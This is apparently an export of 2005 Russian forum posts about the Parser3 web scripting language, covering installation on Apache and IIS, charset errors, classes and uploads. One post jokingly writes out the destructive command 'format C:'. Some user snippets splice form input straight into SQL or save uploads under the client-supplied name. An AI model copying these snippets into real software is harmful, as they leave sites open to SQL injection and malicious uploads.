Понимаю что switch плохо но иногда от него не уйти, если или в языке нет средств создания объектов нужных классов, в случае когда класс неизвестен на этапе написания кода, но известен на момент исполнения,  или когда эти средства слишком сильно снижают производительность."
"39283","да, именно так. а что скажут авторы? помогите плз"
"39284","[b][url=\"http://www.parser.ru/forum/?id=20720\"]Virtual constructor[/url][/b] и [b][url=\"http://www.parser.ru/forum/?id=9066\"]буквальный ответ[/url][/b]\
Отпадают, т.к. мне нужно именно наследование с динамическим БК, а не простой вызов метода из заранее неизвестного класса.\
\
[b][url=\"http://www.parser.ru/forum/?id=9066\"]В разных файлах держать одноимённые классы[/url][/b]\
Была такая идея, но она не подходит. У меня, как я [url=\"http://www.parser.ru/forum/?id=39281\"]уже писал[/url], классы не могут быть одноимёнными.\
\
[code]\
Было:\
news -> object\
\
Должно стать:\
news -> admin_object -> object\
[/code]"
"39285","Если есть такие требования. Не нужно все запихивать в иерархию классов, а активнее использовать композицию классов.\
\
Короче говоря admin_object -> object выделять в отдельную иерархию и использовать её в news."
"39286","Я вам очень сильно сочувствую, т.к. более никогда не встречал настолько ленивого человека... \
[code]\
# cоздаем объект класса ($SQL.connect-string либо в конфигурационном auto.p либо нужно написать строку (в доке есть))\
$db[^SQL::init[$SQL.connect-string]]\
# подключаемся \
^db.server{\
	^rem{*** просим таблицу из базы ***}\
	$my_tbl[^db.table{SELECT item_id, name FROM article WHERE ...}]\
}\
\
# выводим таблицу \
^my_tbl.menu{\
	$my_tbl.item_id => $my_tbl.name\
}[<br />]\
[/code]\
Для работы с объектом db из других классов нужно использовать MAIN \
\
не факт, что это будет у вас работать... я приводил примеры моего класса SQL (в принципе подобие Мише). НО, Мишин класс сииильно отличается от моего:\
1. У меня пока нет столько прибамбасов, сколько у него.\
2. Часть форума точно забита вопросами и ответами по его классу\
3. Он и сам постарался и написал КУЧУ и маленькую тележечку примеров по работе со своим классом"
"39287","Люди, у кого работает, набросайте планчик. У меня 500\
Закачал в корень .htaccess\
В /cgi-bin/parser3.cgi и auto.p\
Перечитал кучу всего подобного, но...\
Даже .htaccess портил..."
"39289","на parser3.cgi 755"
"39290","[code]\
@CLASS\
moe\
\
@USE\
else.p\
\
\
@init[]\
$else:ns[$self]\
\
\
@CLASS\
else\
\
@USE\
else2.p\
\
@BASE\
else2\
\
@init[]\
^BASE:init[]\
[/code]\
\
[b]Должена ли в else2 быть видна $ns?[/b]"
"39292","возможно я не прав, но у меня 700 (все для владельца) и все пашет (на арбатеке)"
"39293","Да у всех по-разному, у кого-то одни права выставлены, у кого-то другие...\
Не можешь план действий при установке описать?"
"39294","В новом типографе есть <clean></clean>. Я думаю возможно в таблице замен сделать следующее: \
\\[(url)=(\"?)(.{9,}?)\\2\\](.+?)\\[/\\1\\]	gi	<clean><a href=\"${match.3}\">${match.4}</a></clean>"
"39295","[code][Sat Apr 09 12:53:25 2005] [1844] /admin/create.html: z:/home/designi/www/admin/classes/typograf.p (127:45): 'match' undefined method [parser.runtime][/code]\
\
Почему возникает эта ошибка, может кто либо сталкивался?\
Сам совершенно не понимаю причину этой ошибки.\
Парсер 3.1.4 (вручную обновлённый Денвер)"
"39297","Решил, собственная тупость виновата."
"39298","не точ то я хотел но всё равно спасибо что хоть отреагировали"
"39299","... \
нагловато с вашей стороны"
"39300","Вообщето я тебя аоблагодарил за то что ты ответил. Просто это мне не помогло. Ты оказался прав ине легченаписать собственный клас чем разобраться в этом."
"39301","я такого не говорил. Я взял за основу мишин класс. Заново я ниче не придумывал и новый велик не выдумаывал. Просто некоторые фичи класса мне пока не нужны..."
"39303","Даже думать о том, чтобы обращаться к полям объекта класса/класса, не просто плохо, а очень плохо :) Есть методы."
"39304","Где можно сдыбать точное время в тексте либо в картинках для сайта\
желательно с прозрачным фоном"
"39305","У меня activeperl 5.8.4 build 810.\
Поставил imagemagick для перла (perlmagick)\
У меня не читается изображение в следующем коде:\
[code]#!c:/sbin/perl/bin/perl.exe\
print \"content-type: text/plain\\n\\n\";\
\
use Image::Magick;\
\
my $image = new Image::Magick();\
my $last_error;\
$last_error = $image->Read('c:\\work\\www\\prj25\\2.jpg');\
if ($last_error) {\
     print ($last_error);\
}\
\
print \"Width: \".$image->Get('width');[/code]\
Выдаётся такая ошибка:\
[code]Exception 420: no delegate for this image format (c:\\work\\www\\prj25\\2.jpg) [No such file or directory]Width: [/code]\
\
Как мне исправить эту ошибку?"
"39306","Скажите, пожалста, ни хера не могу понять пишу в HTMLке две строки,\
скопированные из хелпа,(запись файла), а он(транслятор) мне каку-то, хрень пишет: мол идиот пьяный двух строк связать не можешь....\
Вот код\
$f[form:file]\
^f.save[binary; rfg.php]\
А вот ошипка\
unknown mode, must be 'append'\
binary\
  Помогите? \
\
z:/home/toy.ru/www/index.html(18)"
"39309","Тьфу... Описался! Конечно же $form:file.\
\
$f[$form:file]\
^f.save[binary; rfg.php]\
\
Вот так т.е. я имел ввиду....\
Как сделать шоб работало?"
"39310","[code]<b>Загрузка файла :</b>\
<form method=\"post\" enctype=\"multipart/form-data\"> \
<input type=\"file\" name=\"upload\" size=50>\
<input type=\"submit\" value=\"Закачать\">\
</form>\
^if(def $form:upload){ \
    ^form:upload.save[binary;/files/^file:justname[$form:upload.name].^file:justext[$form:upload.name]]}{ Поля обязательны для заполнения! }\
[/code]"
"39311","Аха, спасибо за помощь, теперь понял ошипку он почему-то form:file\
не понимал нельзя, наверно, полям формы такие имена делать..."
"39312","Про создание даты до 70 года. как зареганить юзера с годом рождения 1965? да так чтобы дата была передана через класс Date?\
\
И что будет после 2038 года?\
Можно ли как то задать диапазон от 1900 до 2100 года?"
"39313","http://www.parser.ru/examples/cdate/"
"39317","что делать?"
"39319","при запросе\
[code]SELECT ... FROM news FOR XML AUTO[/code]\
выдаёт пустой ответ\
\
[url=\"http://www.parser.ru/forum/?id=32791\"]http://www.parser.ru/forum/?id=32791[/url] - пишут что типа поправили и всё ок...\
\
но блин у мя не пашет, хотя всё обновил\
у меня стоит: MS SQl 2000 + Parser3.1.4"
"39320","хотя бы простой CGI без XML и MYSQL драйвера..."
"39321","Столкнулся с проблемой.\
На сервере IIS не работает строка\
   $response:location[$request:uri] \
На Apache все работает как надо\
\
Может быть это от того, что \
 $request:uri на IIS возвращает строку  \"/gbook/index.html?\"\
 а на Apache строку \"/gbook/\"\
\
Явное указание для IIS \
   $response:location[/gbook/]  загоняет страницу в цикл\
и в результате добавляется куча одинаковых записей. \
\
Помогите чем-то!!! Может быть новой версией парсера\
или советами по настройке IIS.\
\
PS: IIS на WinServer 2003"
"39322","Поможите люди добрые чем можете. Очень нужен интернет магазин средней сложности. Боюсь сама не успею написать. Готова платить разумные зеленые деньги. [b]Это очень срочно![/b] :)"
"39323","Пытаюсь установить perser на платформу slakware10.1.\
  что я сделал:\
  в конфигурационном файле прописал:\
                      AddHandler parser3-handler htm\
                      Action parser3-handler /cgi-bin/parser3\
  в папку cgi-bin своего веб сервер (/var/www/cgi-bin/) скопировал\
  файл parser3\
  в этот же каталог (/var/www/cgi-bin/) записал файл auto.p\
  содержащий:\
$CHARSETS[\
    $.WINDIOWS-1251[/war/www/cgi-bin/charsets/windows-1251.cfg]\
    ]\
    CharsetDisable On\
\
    @auto[]\
    #source/client charsets\
    $request:charset[windows-1251]\
    $response:charset[windows-1251]\
    $response:content-type[\
            $.value[text/html]\
                    $.charset[$response:charset]\
                    ]\
\
и в (/var/www/cgi-bin/) вставил папку с кодировками.\
\
записал в папку с htm документами файл _test.htm и он отказывается\
работать (www.fcroma.ru/_test.htm) Unhandled Exception\
change_case_UTF8 error: end pointers do not match\
upper\
\
/var/www/htdocs/_test.htm(256)\
\
помогите пожалуйста"
"39325","1. цена - от $600\
2. что значит средней сложности\
3. Вы все-таки попробуйте написать сами. А на разумные вопросы мы всегда ответим. :)"
"39326","положил, и все равно тоже самое"
"39327","Unhandled Exception\
change_case_UTF8 error: end pointers do not match\
upper\
\
/var/www/htdocs/_test.htm(256)"
"39328","соответственно, помочь можем только морально.\
для начала приведите подробные свидетельства, что вы всё делаете правильно.\
\
затем предложу пару тривиальных экспериментов."
"39329",":) я бы рада сама написать, но отстала в своем развитии на версии 2.0, а время поджимает, проект надо сдавать.\
\
Средней сложности означает - занесение позиций товара в корзину, просмотр и редактирование количества товара в корзине, отправка содержимого корзины с контактыми на мыло. И все это без регистрации-авторизации."
"39330","на приведённом сайте не видно, чтобы авторы занимались тем, что вы тут предлагаете."
"39331","неужели никт не может помочь???"
"39332","[quot]\
На сервере IIS не работает строка\
[/quot]\
не работает - ???\
\
http://www.parser.ru/examples/feedback/ - читали? там про редиректы немного написано."
"39335","А подробнее можно, в инструкции по установке такого нет"
"39336","Давайте делать :)\
Вопросы:\
1. есть ли доступ к MySQL?\
2. есть ли готовая база товаров?\
3. давайте дизайн\
4. давайте не флудить тут - мой icq  225568582"
"39337","Поскольку используем для хостинга четвертую ветку, которая продолжает развиваться (тем более, что у пятерки нет никаких особых преимуществ перед четверкой). А равно и первый апач и третий мускуль... и никаких проблем не испытываем.\
\
В конечном итоге, никто не мешает (исходники доступны) \"продвинутым\" админам собрать Парсер под пятерку."
"39338","\"не работает строка\"\
ща объясню!\
если парсер запускается на сервере ISS? то не работает как нужно - говорит \"404\"\
а если под Apache, то все нормально."
"39340","[quot]Когда все почистил то при обращении http://www.host.dep/cgi-bin/parser3.cgi выдаеть \
Parser/3.1.4 (compiled on i386-unknown-freebsd4.10)[/quot]\
ok, cgi у вас обрабатывается, со ScriptAlias ничего делать не надо.\
просто попробуйте в .htaccess (или где там она у вас) заменить строчку\
[code]Action parser3-handler /cgi-bin/parser3[/code]\
на\
[code]Action parser3-handler /cgi-bin/parser3.cgi[/code]"
"39341","про форму обратной связи прочитали? попробовали внешний редирект? попробовали написать руками ссылку с символом '?', а не брать её из request? что-нить интересного в строке броузера увидели?"
"39342","Про 404: больше не появляется.\
\
Теперь такая заморочка: когда должен выполниться внешний редирект request:location, браузер (Explorer 6) \"впадает\" в режим \"Открытие страницы http://моя страница\" и очень долго в нем висит, страница не переоткрывается.\
Запись при этом в таблицу добавляется, но запись ее только после того, как я заново введу в адресной строке путь к папке без последнего слеша.\
На ссылку в адресной строке с ? браузер реагирует нормально - открывает страницу"
"39344","Да, уже работает..."
"39349","пропишите путь к директории где хранятся charset файлы. должно помочь."
"39350","Опять, потмоу что на форуме уже были сообщения на эту тему. \
Теперь это сотворилось на Fedora FC2 (на самом деле это сборка дата-центра). Ключ --with-dynamic-stdcpp не помог. Ошибок никаких не выдается при конфигурировании и компиляции. Компилировалось все gcc 3.3.2 Сам парсер встал нормально. \
Что еще можно попробовать ? Парсер без мускуля - это ж не дело."
"39351","Начинайте с того, что у Вас ИИС на пашет. :)\
Что именно?\
Что вы сделали для того, чтобы оно пахало?\
Отвечаете на все эти вопросы здесь и через пять минут все пашет :)"
"39352","Тут недавно кто-то собирал и все отваливалось с такой траблой пока не взял исходники мускуль драйвера из раздела \"скачать\""
"39353","ИИС не хоучу ставить - хочу с апачем разобраться"
"39354","в логе апача пишется\
[Mon Apr 11 19:47:00 2005] [error] [client 80.237.19.117] Premature end of script headers: parser3.exe \
\
урл в error-ом вот http://dealer.bryanskedu.ru/1.html"
"39355","дык из сорсов вестимо. из чего ж еще.  с горя попробовал потом сборку с сайта егорова - но тоже не помогло. \
сорсы брались из раздела скачать.\
\
PS. могу config.log проиложить если надо. "
"39356","думал, что ходь под ИИС будет работать, но .... :(\
Разработчики, помогите с апачем хоть разобраться, как к нему парсер прикрутить? подробности читать тут http://www.parser.ru/forum/?id=39354"
"39357","Есть ли готовые решения для Parser для реализации отображения списков типа:\
\
[list]\
[*]Один\
[*]Два\
[*]Три\
[/list]\
\
[list=1]\
[*]Один\
[*]Два\
[*]Три\
[/list]\
\
[list=a]\
[*]Один\
[*]Два\
[*]Три\
[/list]\
\
Описание BBCode можно почитать вот тут: http://ndt.org.ua/forum/faq.php?mode=bbcode#6\
\
Заранее благодарен."
"39361","Спасибо всем :) Я решила вопрос с магазина. Чтобы я без вас делала ;)"
"39364","Случайно нажал на энтер в предидущем сообщении, сорри... :)\
\
Так вот, можно ли загрузить файл на диск с удаленного сервера,\
передав в параметрах запроса POST данные?\
Предположим страница, скачиваемая должна содержать,\
запрашиваемую инфу.\
Спасибо."
"39366","он это в своем Типа-графе реализовал."
"39367","Действительно, в мануале есть этот вариант, но я скачал\
PDF-ный файл с мануалом по Парсеру, а там как раз не правильно\
сформатированные страницы, и описание Хеша опций обрезанно (справа)\
А на данной, тобой, ссылке все понятно прочел."
"39368","* Программное обеспечение\
** Операционные системы\
+++ Windows XP\
+++ Linux RedHat\
+++ MacOS X\
** Текстовые радакторы\
* Компьютеры\
\
Но сути это не меняет. Скрипт занимает не больше 10-15 строк. Попробуйте написать самостоятельно - это иногда бывает интересно.\
Будут проблемы с кодом, пишите."
"39370","поищи в форуме, я патч публиковал."
"39371","W:\\_parser3_1_4>parser3 1.html\
\
\
<html>\
<head><title>Unhandled Exception (parser.runtime)</title></head>\
<body>\
<H1>Unhandled Exception (parser.runtime)</H1>\
\
<pre>parser already configured</pre>\
\
\
\
<!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- -->\
<!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- -->\
<!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- -->\
<!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- -->\
<!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- -->\
<!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- -->\
<!-- --><!-- --><!-- --><!-- --><!-- -->\
</body>\
\
когда запускаешь из CMD\
файл W:\\_parser3_1_4\\1.html имеется\
внутри\
[code]\
@main[]\
^eval(2*3)\
[/code]\
\
может он auto.p не находит???"
"39373","Подскажите, пожалуйста, что мне нужно добавить или езменить в .htaccess для того, чтобы при наборе в адресной строке имени не существующего файла выдавалась нужная страница. \
Сейчас в .htaccess прописано: \"ErrorDocument 404 /err/\". Это работает, когда набираешь неправильный адрес дириктории, но если указываю не существующий файл, Парсер выдает ошибку: \"read failed: No such file or directory (2), actual filename 'z:/home/5555.ru/www/5555.html'  type: file.missing\". \
Что делать?"
"39377","У меня он выдаёт пустой ответ.\
\
Я знаю кнопочка сбоку и я ей воспользовался.\
Нашел то что вроде починили.\
\
И ещё вопрос такой может незаморачиватся на FOR XML и писать всё ручками?"
"39379","я тогда вернул старый кусок кода, и пересобрал.\
предполагалось, что тот, кому было нужно, попробует и расскажет.\
этого не произошло.\
\
посмотрю."
"39380","там тоже поправлено (patch вышел днём позже :)"
"39381","однако почитайте его собственную документацию:\
http://httpd.apache.org/docs-2.0/mod/mod_cache.html\
This module is experimental"
"39382","--with-static-gc\
--with-static-xml"
"39383","к сожалению, не получится. Я FreeBSD-CURRENT использую, не знаю, как поведет себя бинарник на RELENG_5."
"39386","т.е. в Parser 3.1.4 эта фишка может быть и не исправ.?"
"39387","Собрал из исходников Парсер 3.1.4 как модуль к Апачу и драйвер для Постгрес.\
При попытке соединиться с базой в логах Апача строка:\
'../lib/libparser3pqsql.so' driver imlements API version 0x0008 not\
equal to 0x0009 [<no type>]\
Подскажите как лечить.\
Система Debian (из сырцов), PostgreSQL 7.3, Apache 1.3.33"
"39389","Вопрос снят, разобрался."
"39395","Не могу установить Parser3 как модуль Apach с поддержкой XML для Win32. Люди - хелп плиз/\
Прописал все как в ридме, но на \
AddHandler parser3-handler .html \
проверка ругается, говорит что AddHandler requires at least two arguments a handler name followed by one or more file extensions\
\
Я не использую CGI!!!\
Поэтому parser3.exe нет\
\
Используется ApacheModuleParser3.dll версия 1.3\
\
"
"39397","а вы как считаете?\
\
http://www.parser.ru/docs/lang/install4apachemodule.htm"
"39400","httpd-работает нормально, но _test.html не фурычит?\
В чем проблема?\
AddHandler есть\
все как в редми"
"39402","При запуске Апача из командной строки все работает, а при запуске сервис Апач выдает ошибку \"odbc://****' CDBException: Data source name not found and no default driver specified| [sql.connect]\". Что бы это значило?"
"39405","Поставил я на 2003-ю винду апач 1.3.33, сегодня весь день пропарился с прикручиванием парсера модулем - не работает и всё хоть ты убейся. Но вот повезло, хороший человек написал сообщение в конфу.\
Я сделал так:\
1. прописал всё как в доке в конфиг апача\
2. сделал из командной строки\
apache -k uninstall\
apache -k install\
\
Всё гут!\
потом делаю\
apache -k start\
\
сайты работают, парсерятся - всё в шоколаде!!!\
НО - начинаю делать старт сервиса в виндах, а он не запускается :((\
\
Может кто подстажет как мне его запусть сервисов - буду крайне признателен!!!\
\
Сервис пытается запускаться командой \
\"W:\\Apache\\Apache.exe\" --ntservice\
\
и выдаёт сия команда следующее\
\
W:\\Apache>Apache.exe --ntservice\
[Wed Apr 13 20:46:02 2005] [error] (1063)&#9575;ЁюЎхёё ёыєцс&#8730; эх ьюцхЄ єёЄрэютшЄ№ ёт ч\
№ ё ъюэЄЁюыыхЁюь ёыєцс&#8730;: Error starting service control dispatcher\
\
что в переводе на русский гласит (спасибо Штырлицу):\
\
W:\\Apache>Apache.exe --ntservice\
[Wed Apr 13 20:46:02 2005] [error] (1063)gроцесс служб не может установить связь с контроллером служб: Error starting service control dispatcher\
\
как побороть эту напасть????? я всю эту неделю убил на борьбу с виндами и парсером :))"
"39406","Нет, не понимаю почему не фурычит!\
\
I'm stucked!"
"39407","httpd - работает нормально, Syntax OK\
Apache - видит стартовую страницу localhost\
но _test.html не работает\
В чем причина?\
Как парсер заставить считывать эти странички?\
.htaccess вроде как есть, кстати корневая папка для него htdocs?\
Весь день бьюсь, но никак не догоню, как заставить работать этого монстра. \
Делал все по советам в форуме, но все равно чего-то не то.\
Ранее в Web-мастеринге замечен не был. Это все ново для меня. Хочу научиться програмить на парсере - это будущее.\
Помогите салажонку.\
\
С уважением Rezook"
"39408","Люди, чё за фигня. Вот какой код\
[code]\
^if(def $form:city){\
^void:sql{insert into city \
             (city) \
            values  \
         ('$form:city') \
ON DUPLICATE KEY UPDATE city='$form:city'}}\
[/code]\
дома работает прекрасно (mySQL 4.1.8), а на серваке на нём вылетает ошибка на [code]ON DUPLICATE KEY UPDATE city='$form:city'[code]. На серваке mySQL 4.0.24\
\
Да, е ещё постоянно издевается над одной строкой выдавая что-то типа [code]<b>Добавлено мужчин:</a&gt;</span&;gt; 1[/code] (причём изменения эти происходят в самом auto.p)"
"39409","Поздно залез в доку\
[quot]Если вы указываете ON DUPLICATE KEY UPDATE (новшество в MySQL 4.1.0)....[/quot]"
"39412","Я так и ен одолел ISAPI модуль под IIS6.0. Вылитают разные глюки с кодировкоий итп. А CGI скрипт работает нормально.\
\
Только нужно дать нормальные права. + вкл. галку чтоб он работал как IIS 5.0\
\
Просто IIS6.0 даже CGI не запустился."
"39414","Ссылка: http://www.fckeditor.net/\
\
Совместимость: IE 5.5+, Firefox 1.0+, Mozilla 1.3+, Netscape 7+.\
\
Плюс есть встроенные файл-менеджер для просмотра картинок на сервере и закачке своих."
"39415","помогло ли вам сообщение \
http://www.parser.ru/forum/?id=39333"
"39418","для начала можно одному страждущему послать :)"
"39419","?\
если это сетевой диск, то исследуйте, в каком порядке происходят события\
* запуск службы Apache\
* подключение сетевых дисков"
"39420","ответьте, что вы подразумеваете под очень всем понятным словом «не фурычит».\
\
объясните так развёрнуто, как сумеете?"
"39421","совсем не нужно запускать команду, которую вы видите в настройках сервиса.\
нужно официально запускать сам сервис.\
или из control panel, или с консоли командой\
[code]\
net start apache\
[/code]"
"39422","пожалуйста, изложите внятно? \
у наших клиентов на IIS6 (используем CGI вариант) работает, не жужжит."
"39423","т.ч. >format C:\
не страшен :))"
"39424","W:\\Apache>net start apache\
Служба \"Apache\" запускается.\
Не удалось запустить службу \"Apache\".\
\
Служба не сообщает об ошибке.\
\
Для вызова дополнительной справки наберите NET HELPMSG 3534.\
--------------------------\
\
Но самое интересное, что апач нормально стартует сервисом если не загружать модуль парсера.\
\
Может надо какие-то права в виндах указать на этот модуль (dll)? сказать винде, что это типа свой надёжный модель и его можно запускать, либо права дать на запуск какому-то пользователю типа \"System\"? \
Потому что из консоли я сам запускаю апач с правами админа, а когда хапускается сервис, там ХЗ кто его запускает"
"39425","Спасибо всем. Выяснил, что причина в аккаунтах. Если запускать сервис под акаунтом администратора (по умолчанию он запускается от имени локального пользователя) то все работает."
"39426","W:\\Apache>apache\
Apache/1.3.33 (Win32) Parser/3.1.4 (compiled on i386-pc-win32) running...\
\
и работает, пока консоль не закроешь, но это не выход :(("
"39430","Запускаю апач из консоли всё работает и апач и всё парсерится!\
Запускаю сервис апача - сервис стартует (модуль парсера я отключил) - поставил CGI.\
обращаюсь к сайтам получаю 500-ю ошибку\
В логе апача такая ошибка появляется:\
\
[Thu Apr 14 12:42:58 2005] [error] [client 80.237.19.117] Premature end of script headers: w:/apache/cgi-bin/parser3.exe"
"39431","знаете, где посмотреть?\
\
2. посмотрите error_log файлы (все, какие найдёте)."
"39432","совершенно ненужно пускать Apache от пользователя, у которого слишком много прав.\
\
у вас ведь почему не работает?\
потому, что вы создали User DSN, а не System DSN.\
вам посоветовали делать вообще без DSN, вы попробовали?"
"39433","ошибки пишет тольков лог сайта\
\
[Thu Apr 14 12:44:39 2005] [error] [client 80.237.19.117] Premature end of script headers: w:/apache/cgi-bin/parser3.exe\
[Thu Apr 14 12:44:57 2005] [error] [client 207.46.98.36] File does not exist: w:/www/_bryanskedu/sei/www/program/\
[Thu Apr 14 12:45:14 2005] [error] [client 207.46.98.36] File does not exist: w:/www/_bryanskedu/sei/www/reports/\
\
я уже и поставил галочку во вкладке совместимость в свойствах файла parser3.exe \"разрешить запуск не только администраторам\"\
\"запустит программу в режиме совместимости с Win2000\"\
\
Всё равно ошибка :(("
"39434","CGI я заставил рабоать!!!\
Сейчас проведу эксперимент с модулем апача и расскажу из-за чего не работало и как побороть."
"39436","Весь затык был из-за того, что я пользовался Вашим инсталлятором, а не распаковывал из архивов вручную нужные файлы в нужные каталоги!\
\
Залез я в \"подробнее\" после установки и прочёл:\
-----------------------------------------------------------\
Каталог установки: S:\\Documents and Settings\\sergei\\WINDOWS\
Извлечение: gc.dll\
-----------------------------------------------------------\
инсталятор эту gc.dll кидал в мой профиль :((\
и парсер её не находил!!! В 2000-й винде gc.dll распаковывалась в s:\\winnt\\ или папку с доступом разным юзерам и прописаную в path\
\
Надо бы инсталятор переделать малость и в факе и хелпе эти грабли описать, а то в 2003 винде это не совсем очевидно - я бы сказал, что совсем неочевидно, я с понедельника бился над этой проблемой.\
\
Вот такие дела!"
"39437","в скрипте NSIS честно написано:\
SetOutPath $WINDIR\
File \"other\\gc.dll\"\
\
будет время почитаю их changelog/bugreports и если там это было исправлено собиру обновленным NSIS-ом.\
\
попробуйте запустить cmd.exe и дать камманду set.\
что у вас в переменных: SystemDrive, SystemRoot и windir?\
\
"
"39442","Извините, но куда делся мой топ про заполнение и редактирование форм из БД?"
"39443","и придёте ещё раз, подумав."
"39447","При обращение к скрипту написанного на parser`е, запрашивается пароль администратора системы! Излазил весь IIS, но нечего неполучиль... помогите пожалуйста в решение это странной проблемы! Заранее спасибо!"
"39454","W:\\Apache>set\
ALLUSERSPROFILE=S:\\Documents and Settings\\All Users\
APPDATA=S:\\Documents and Settings\\sergei\\Application Data\
ClusterLog=S:\\WINDOWS\\Cluster\\cluster.log\
COMMANDER_PATH=S:\\totalcmd\
CommonProgramFiles=S:\\Program Files\\Common Files\
COMPUTERNAME=NS\
ComSpec=S:\\WINDOWS\\system32\\cmd.exe\
HOMEDRIVE=S:\
HOMEPATH=\\Documents and Settings\\sergei\
LOGONSERVER=\\\\NS\
NUMBER_OF_PROCESSORS=2\
OS=Windows_NT\
Path=S:\\WINDOWS\\system32;S:\\WINDOWS;S:\\WINDOWS\\System32\\Wbem;W:\\MySQL\\MySQL Serv\
er 4.1\\bin;S:\\Program Files\\UltraEdit;w:\\p3_1_4\
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH\
PROCESSOR_ARCHITECTURE=x86\
PROCESSOR_IDENTIFIER=x86 Family 15 Model 3 Stepping 4, GenuineIntel\
PROCESSOR_LEVEL=15\
PROCESSOR_REVISION=0304\
ProgramFiles=S:\\Program Files\
PROMPT=$P$G\
SESSIONNAME=Console\
SystemDrive=S:\
SystemRoot=S:\\WINDOWS\
TEMP=S:\\DOCUME~1\\sergei\\LOCALS~1\\Temp\
TMP=S:\\DOCUME~1\\sergei\\LOCALS~1\\Temp\
USERDNSDOMAIN=SE\
USERDOMAIN=SE\
USERNAME=sergei\
USERPROFILE=S:\\Documents and Settings\\sergei\
windir=S:\\WINDOWS"
"39456","у меня нет мыслей на этот счет.\
я использую документированную фичу (упоминал). из доки NSIS:\
\
[quot]\
Note that some of the new constants will not work on every OS. For example, $CDBURN_AREA will only work on Windows XP and above. If it's used on Windows 98, it'll be empty. Unless mentioned otherwise, a constant should be available on every OS.\
\
...\
\
$WINDIR\
\
The windows directory (usually C:\\windows or C:\\winnt but detected at runtime)\
[/quot]\
\
почитал changelog, поискал в форуме поддержки NSIS - упоминания об этой проблеме или её исправлениях не нашел (что $WINDIR на 2003 указывает не туда куда надо). т.е. возможно это какой-то глюк именно вашей системы. \
\
спасибо что написали решение, если ещё у кого эта проблема возникнет - он найдет данное решение и напишет сюда, в этом случае буду пытаться разбираться дальше."
"39457","Нужен опытный программист для создания сайта. Работа только по написанию кода. Дизай и.т.д уже есть. З/П договорная. писать на zaqqaz226@yandex.ru или в ICQ 254-459-153"
"39459","И вообще, есть ли какие-нибудь доки по парсеру, по его основам, например, кто-нибудь из опытных кодеров делится своими начальными шагами. Или какая-нибудь инфа с иллюстрациями и html кодов и в auto.p \
\
С уважением, Rezook"
"39462","Вы сначала вопрос правильно сформулируйте и подумайте. Очень вероятно, что сами увидите где ошибаетесь."
"39463","@header[] \
<html> \
<head> \
<title>Тестовый сайт Parser3</title> \
</head> \
<body bgcolor=\"#FAEBD7\"> \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\" height=\"60\"> \
      <td align=\"middle\"> \
         <font size=\"+2\"> [b]^greeting[][/b]</font> \
      </td> \
   </tr> \
</table> \
<br> \
\
по идее, я должен прописать \
@greeting[] \
Добро пожаловать\
в хтмл-коде моей главной страницы, \
но там ничего не происходит :-("
"39465","Надо сделать так:\
1. В корне сайта, рядом с index.html, положить\
файл auto.p, в котором написать следующее:\
[code]\
@greeting[] \
Добро пожаловать!\
[/code]\
\
2. ваш index.html должен выглядеть так:\
[code]\
<html> \
<head> \
<title>Тестовый сайт Parser3</title> \
</head> \
<body bgcolor=\"#FAEBD7\"> \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
<tr bgcolor=\"#FFFFFF\" height=\"60\"> \
<td align=\"middle\"> \
<font size=\"+2\"> ^greeting[]</font> \
</td> \
</tr> \
</table> \
<br>\
</html>\
[/code]\
\
3. Теперь разберем, что же мы сделали:\
В auto.p добавили метод @greeting[],\
который не содержит никаких переменных,\
вообще ничего, кроме фразы \"Добро пожаловать!\"\
Парсер обрабатывая ваш index.html видит ссылку на\
данный метод (^greeting[]), и выполняет его, т.е. вставляет в текст страницы фразу.\
Теперь понятно?\
\
И, как принято, скажу: RTFM \
В [url=\"http://www.parser.ru/docs/\"]доках[/url], на самом\
деле все есть! Надо только читать.\
Удачи."
"39467","может я и ошибаюсь, но у меня сложилось мнение, что BSD намного солиднее Apache и production они \"просто так\" заявлять не будут..."
"39468","эм. не догадался в makefile :) вставил. работает на ура. спасибо! двумя хостингами прибавилось :)"
"39469","У меня ISPAI модуль c IIS6.0 работает, но только с самыми простыми типа:\
[code]^eval(5*5)[/code]\
А если ченть с текстом делать, например высоту букв менять сразу глюк с кодировкой. Хотя всё лежит наместе."
"39472","права для этой папки настройте (правой кнопкой по папке)."
"39473","Прошу прощения, что не отписался, был в запарках. По поводу $.cache_threshold - ИМХО может 1.5 вынести в отдельный необязательный параметр? Тогда для каких-то гипотетических критичных к времени кеширования запросов можно избавиться от элемента случайности и самостоятельно выстроить порядок и задержку их выполнения."
"39476","Извините, но это частный ресурс, тут действуют правила установленные определенным кругом лиц. И только они определяют что будет висеть в форуме, а что нет. Никто не обещал что ваши посты будут тут светится, и тем более никто не обещал на них отвечать.\
По себе могу сказать, что такие отсылы к документации влияют на процесс написания чего либо наилучшем образом. \
Удачи и учитесь думать, а не права качать."
"39479","Просто когда начинает выполнятся сценарий, система начинает требовать пароль! :("
"39480","и там лежат некоторые DLL\
\
Надо сделать, чтобы инсталятор кидал эту библиотеку туда же куда кидает dll-ки для XML, т.е. рядом к парсеру - вот и всё решение - дёшево и сердито :)\
\
ну может быть ещё придётся каталог, куда устанавливается парсер автоматом прописывать в переменную path"
"39482","У кого?\
Вам нужно добавить разрешения для пользователя IUSR_(ИМЯ_ВАШЕГО_СЕРВЕРА) на выполнение самого парсера."
"39483","Что и где прописать, чтобы, например, в auto.p /Contacts/ у меня могла вызываться функция из auto.p в корневом?"
"39485","Почитайте доку, раздел \"Класс MAIN, обработка запроса\".\
Хотя, вообще говоря, должно все вызываться вот так:\
[b]/auto.p[/b]\
[code]\
@greeting[]\
Добро пожаловать!\
[/code]\
\
[b]/contacts/auto.p[/b]\
[code]\
@contacts[]\
^greeting[]\
[/code]\
\
У меня так работает.\
Это называется наследованием, кажется.\
Корневой auto.p - страший, главный.\
Все его методы можно вызвать из других,\
стоящих рангом ниже auto.p.\
\
Доку когда начнем читать?"
